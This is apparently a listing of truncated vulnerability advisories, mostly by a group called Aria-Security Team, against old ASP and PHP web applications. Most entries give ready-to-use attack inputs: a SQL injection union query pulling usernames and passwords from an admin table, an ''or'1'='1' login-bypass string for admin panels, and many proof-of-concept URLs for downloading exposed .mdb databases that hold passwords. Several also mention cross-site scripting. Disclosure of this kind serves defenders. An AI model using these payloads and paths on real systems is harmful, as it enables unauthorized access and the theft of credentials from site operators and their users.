[Aria-Security] Image Racer SearchResults.asp SQL INJECTION vuln.

Aria-Security Team Image Racer SearchResults.asp SQL Injection Vendor: http://www.junctionquest.com/Software.asp Example: http://www.TARGET.com/SearchResults.asp?SearchWord=SQL COMMAND&WordSearchCrit=Yes&image.x=0&image.y=0 Example : -1 'union select username,password from admin where FIND IT YOU...

[Aria-Security] Munch Pro Remote Login ByPass

Aria-Security Team Property Pro http://isystems.7host.com/isystems/ URL/path/admin Use These As your login Admin 'or'1'='1'or'1'='1 Discovered By The-0utl4w http://aria-security.net http://outlaw.aria-security.info Personal Blog...

[Aria-Security] Property Pro Remote Login ByPass

Aria-Security Team Property Pro http://isystems.7host.com/isystems/ URL/path/admin OR URL/path/virLogin.asp Use These As your login Admin 'or'1'='1'or'1'='1 Discovered By The-0utl4w http://aria-security.net http://outlaw.aria-security.info Personal Blog...

phppgadmin -- cross site scripting vulnerability

SecurityFocus reports about phppgadmin: Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch...

built2go-xss.txt

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ DigitaL Hacking TeaM Built2Go...

XMB "U2U Instant Messenger" Cross-Site Scripting

Aria-Security Team http://Aria-Security.com Contact: [email protected] Type:Remote Cross-Site Scripting Article on XSS: http://aria-security.net/xss.rar Discovered By Aria-Security Team Software: XMB U2u Instant Messenger Explanation: First of all user must be REGISTERED - Go to...

SMF "index.php?action=pm" Cross Site-Scripting

Aria-Security Team http://Aria-Security.com Type:Remote Cross-Site Scripting Article on XSS: http://aria-security.net/xss.rar Discovered By Aria-Security Team Tested on SMF 1.1 RC3 Explanation: -First of all user must be REGISTERED -Go to http://target/smf/index.php?action=pm;sa=send -Inster your...

oohasp-mdb.txt

Discovered by:Aria-Security Team Type:Remote Password Disclosure Vendor:http://sourceforge.net/project/showf...groupid=42824 PoC: http://victim.com/path/db/OhhASP.mdb Contact: [email protected] http://64.38.62.221/ariasecucom/forum/showthread.php?t=89...

ohhASP Remote Password Disclosure

ARIA-SECURITY TEAM Forum: http://aria-security.com Discovered by:Aria-Security Team Type:Remote Password Disclosure Vendor:http://sourceforge.net/project/showf...groupid=42824 PoC: http://victim.com/path/db/OhhASP.mdb Contact: [email protected]...

ios-mdb.txt

Discovered by:Aria-Security Team Type:Remote Password Disclosure Vendor:http://diggersolutions.com/blogs/diggersolutions/default.aspx PoC: http://victim.com/path/data/intranet.mdb Contact: [email protected] http://aria-security.com/forum/showthread.php?goto=newpost&t=88...

Intranet Open Source Remote Password Disclosure "intranet.mdb"

ARIA-SECURITY TEAM Forum: http://aria-security.com Discovered by:Aria-Security Team Type:Remote Password Disclosure Vendor:http://diggersolutions.com/blogs/diggersolutions/default.aspx PoC: http://victim.com/path/data/intranet.mdb Contact: [email protected]...

jgbbs

ARIA-SECURITY TEAM Forum: http://aria-security.com DiscoveredBy:t3rr0r1st from Aria-Security Type:Remote Password Disclosure Vendor:http://sourceforge.net/projects/jgbbs/ PoC: http://target/path/db/bbs.mdb Contact: [email protected] http://aria-security.com/forum/showthread.php?t=87...

gb03-db.txt

Discovered by:Aria-Security Team Type:Remote Password Disclosure Download: http://www.planet-source-code.com/vb/scripts/ShowCode.asp?lngWId=4&txtCodeId=6847 PoC: target/path/db/gbook.mdb target/path/db/gbook97.mdb Contact: [email protected]...

wine-db.txt

Discovered by:Aria-Security Team Type:Remote Password Disclosure Vendor:http://www.fermentigrafici.it/wineglass/ PoC: http://target/db/data.mdb Contact: [email protected] http://aria-security.com/forum/showthread.php?p=112...

carbon-db.txt

Discovered by:Aria-Security Team Type:Remote Password Disclosure Vendor:http://www.carboncommunities.com/ PoC: http://target/DataBase/Carbon2.4d.mdb Contact: [email protected] http://aria-security.com/forum/showthread.php?p=113...

WineGlass "data.mdb" Remote Password Disclosure

ARIA-SECURITY TEAM Forum: http://aria-security.com Discovered by:Aria-Security Team Type:Remote Password Disclosure Vendor:http://www.fermentigrafici.it/wineglass/ PoC: http://target/db/data.mdb Contact: [email protected] http://aria-security.com/forum/showthread.php?p=112...

lblog Remote Password Disclosure

Aria-Security Team Happy New Year!! Aria-Security.com For English Aria-Security.net For Parsi Discovered: Aria-Security Team Vendor: http://www.lblog.dk/ Risk: Low Type:Remote Database Download PoC: http://TARGET/path/admin/db/newFolder/ THEN DOWNLOAD THE DATABASE AVAILABLE IN THIS FOLDER Contact...

AspBB Remote Password Disclosure

Aria-Security Team Happy New Year!! Aria-Security.com For English Aria-Security.net For Parsi Discovered By: Aria-Security Team Vendor: http://www.aspbb.org/ Risk: Low Type:Remote Password Disclosure PoC: http://TARGET/PATH/db/aspbb.mdb Contact: [email protected]...

BattleBlog Database Download Vulnerability

Aria-Security Team Happy New Year!! Aria-Security.com For English Aria-Security.net For Parsi Discovered: Aria-Security Team Vendor:http://www.battleblog.com/home/g/ Risk: Low Type:Remote Database Download PoC: http://TARGET/path/database/blankmaster.mdb Contact: [email protected]...

aspbb.txt

Discovered By: Aria-Security Team Vendor: http://www.aspbb.org/ Risk: Low Type:Remote Password Disclosure PoC: http://TARGET/PATH/db/aspbb.mdb Contact: [email protected]...